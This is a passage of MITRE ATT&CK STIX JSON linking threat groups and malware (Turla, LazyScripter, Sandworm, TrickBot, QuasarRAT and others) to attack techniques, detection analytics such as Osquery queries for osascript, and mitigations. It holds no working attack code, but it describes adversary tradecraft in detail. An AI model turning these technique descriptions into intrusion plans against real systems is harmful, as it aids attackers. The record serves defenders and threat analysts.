["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9ee8a8fb-798e-4fa0-9ae0-ab96e75c9f4e", "created": "2021-11-24T20:17:35.504Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has used PowerShell scripts to execute malicious code.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T19:13:54.278Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9eeb0de3-2010-4f77-949d-501299902a63", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T16:57:41.609Z", "description": "Monitor for newly executed processes that may abuse AppleScript for execution. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalytic 1 - Unusual Execution \n\n<code> source=\"*Osquery:*\" EventCode=\"process_added\u201d AND CommandLine LIKE \u201c*osascript*\u201d </code>\n\nAnalytic 2 - Untrusted Locations\n\n<code> source=\"*Osquery:*\" EventCode=\"process_added\" AND Path LIKE \"/Users/*/Downloads/*\" OR Path LIKE \"/tmp/*\" </code>\n\nAnalytic 3 - Parent/Child Process Relationship\n\n<code> source=\"*Osquery:*\" EventCode=\"process_added\" AND ParentImage= \"/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder\" AND Image LIKE \"*osascript*\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a", "type": "relationship", "created": "2017-05-31T21:33:27.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"source_name": "Symantec Waterbug Jun 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}, {"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}, {"source_name": "ESET Turla PowerShell May 2019", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}], "modified": "2021-03-23T18:34:56.454Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover network configuration details using the <code>arp -a</code>, <code>nbtstat -n</code>, <code>net config</code>, <code>ipconfig /all</code>, and <code>route</code> commands, as well as [NBTscan](https://attack.mitre.org/software/S0590).(Citation: Kaspersky Turla)(Citation: Symantec Waterbug Jun 2019)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also retrieved registered RPC interface information from process memory.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ef08a26-d881-4a36-952b-c07808093c6b", "type": "relationship", "created": "2020-03-13T19:55:35.970Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077", "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", "source_name": "UCF STIG Elevation Account Enumeration"}], "modified": "2021-10-13T14:05:14.879Z", "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.(Citation: UCF STIG Elevation Account Enumeration)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ef2a5a7-3be8-426a-8411-ca78e35cef3a", "created": "2022-09-07T19:55:59.299Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Frankenstein June 2019", "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.", "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-21T14:58:42.977Z", "description": "During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used WMI queries to check if various security applications were running as well as to determine the operating system version.(Citation: Talos Frankenstein June 2019)", "relationship_type": "uses", "source_ref": "campaign--26d9ebae-de59-427f-ae9a-349456bae4b1", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ef511b5-ecdb-4f11-97f6-0046ec25af84", "type": "relationship", "created": "2021-10-14T14:28:27.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/", "source_name": "Securelist Octopus Oct 2018"}, {"source_name": "ESET Nomadic Octopus 2018", "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}], "modified": "2021-10-14T14:28:27.119Z", "description": "[Nomadic Octopus](https://attack.mitre.org/groups/G0133) as attempted to lure victims into clicking on malicious attachments within spearphishing emails.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}], "modified": "2020-03-06T20:00:24.030Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [at](https://attack.mitre.org/software/S0110) to register a scheduled task to execute malware during lateral movement.(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ef645ab-afd1-41d6-ad60-d207fd134748", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-17T02:32:27.141Z", "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ef6f961-f383-4674-9c5c-6f5984cabee7", "created": "2023-09-07T21:50:12.131Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-07T21:50:12.131Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974", "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ef81bca-b60b-4c39-91ca-38a7f5e676d9", "type": "relationship", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.845Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9efe8d02-cecd-4e14-9e33-1a03519f4af1", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672). Correlate other security systems with login information (e.g., a user has the KRBTGT account password hash and forges Kerberos ticket-granting tickets). ", "source_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f001062-668f-45c9-a747-f224c8e5712a", "type": "relationship", "created": "2020-09-17T12:51:40.971Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Disable VBA Jan 2020", "url": "https://docs.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/turn-off-visual-basic-for-application", "description": "Microsoft. (2020, January 23). How to turn off Visual Basic for Applications when you deploy Office. Retrieved September 17, 2020."}], "modified": "2021-10-15T14:02:08.136Z", "description": "Turn off or restrict access to unneeded VB components.(Citation: Microsoft Disable VBA Jan 2020)", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f00ebba-7e80-4495-8ba0-081e6a8cc0c8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). 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Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2019-07-25T14:56:46.800Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under <code>HKCU\\Software\\Microsoft\\Office\\</code>.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9f07c92a-78a0-438a-8cb2-01e2bddaeb42", "created": "2021-01-04T21:30:14.830Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Industroyer", "description": "Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"}, {"source_name": "Dragos Crashoverride 2017", "description": "Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020.", "url": "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf"}, {"source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}, {"source_name": "Secureworks IRON VIKING", "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.", "url": "https://www.secureworks.com/research/threat-profiles/iron-viking"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T18:46:32.756Z", "description": "(Citation: Dragos Crashoverride 2018)(Citation: Dragos Crashoverride 2017)(Citation: ESET Industroyer)(Citation: Secureworks IRON VIKING)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f0f23ed-644d-44f5-bee9-c3f44f04a6d8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/quasar/QuasarRAT", "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", "source_name": "GitHub QuasarRAT"}, {"url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", "source_name": "Volexity Patchwork June 2018"}], "modified": "2020-03-20T00:10:31.146Z", "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from common FTP clients.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)", "relationship_type": "uses", "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f0f2cd3-5bcb-48c9-812f-f8a37f3dfdd3", "type": "relationship", "created": "2021-01-25T13:58:25.276Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}, {"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-04-14T16:08:33.771Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect the host's IP addresses using the <code>ipconfig</code> command.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9f10e334-ae5f-4d8e-8229-64408fef1fd1", "created": "2020-11-25T22:46:47.792Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has researched software code to enable supply-chain operations, most notably for the 2017 [NotPetya](https://attack.mitre.org/software/S0368) attack. [Sandworm Team](https://attack.mitre.org/groups/G0034) also collected a list of computers using specific software as part of its targeting efforts.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "modified": "2022-04-12T19:12:16.434Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f163bcc-193b-49f4-884d-4246dff23e6c", "type": "relationship", "created": "2020-02-18T16:48:56.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-18T16:48:56.805Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f18f3f3-7f5b-4e54-b4de-d58202d88a28", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\r\nPerform application deployment at regular times so that irregular deployment activity stands out.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Volgmer Nov 2017", "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"}, {"source_name": "US-CERT Volgmer 2 Nov 2017", "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}], "modified": "2020-03-19T21:53:55.320Z", "description": "[Volgmer](https://attack.mitre.org/software/S0180) can execute commands on the victim's machine.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)", "relationship_type": "uses", "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f1f9c0a-92c2-4517-bb04-db232421284a", "type": "relationship", "created": "2022-03-22T18:47:48.437Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. 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Playing Cat & Mouse: Introducing the Felismus Malware. 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(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: ESET Emotet Dec 2018)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9f751d66-0604-4d30-a820-022a8c90e870", "type": "relationship", "created": "2020-07-27T15:48:13.242Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). 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Retrieved February 11, 2021."}], "modified": "2021-02-22T14:47:28.044Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used Wake-on-Lan to power on turned off systems for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fb48ae2-125f-48f8-a813-8e64cf70bde3", "type": "relationship", "created": "2021-06-24T18:58:53.556Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}], "modified": "2021-06-24T18:58:53.556Z", "description": "[SideTwist](https://attack.mitre.org/software/S0610) has the ability to upload files from a compromised host.(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fb5ad4c-1929-4d00-bd87-fed2558d73bf", "type": "relationship", "created": "2019-03-28T14:45:51.183Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Trickbot Feb 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", "description": "Llimos, N., Pascual, C.. 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Retrieved March 12, 2019."}], "modified": "2019-06-24T19:15:06.921Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) has used macros in Excel documents to download and deploy the malware on the user\u2019s machine.(Citation: TrendMicro Trickbot Feb 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fbc10b3-f72e-4cc8-9e94-34c6404c3a1f", "type": "relationship", "created": "2019-01-30T17:48:35.604Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "modified": "2021-06-16T15:50:04.978Z", "description": "[zwShell](https://attack.mitre.org/software/S0350) can modify the Registry.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", "target_ref": 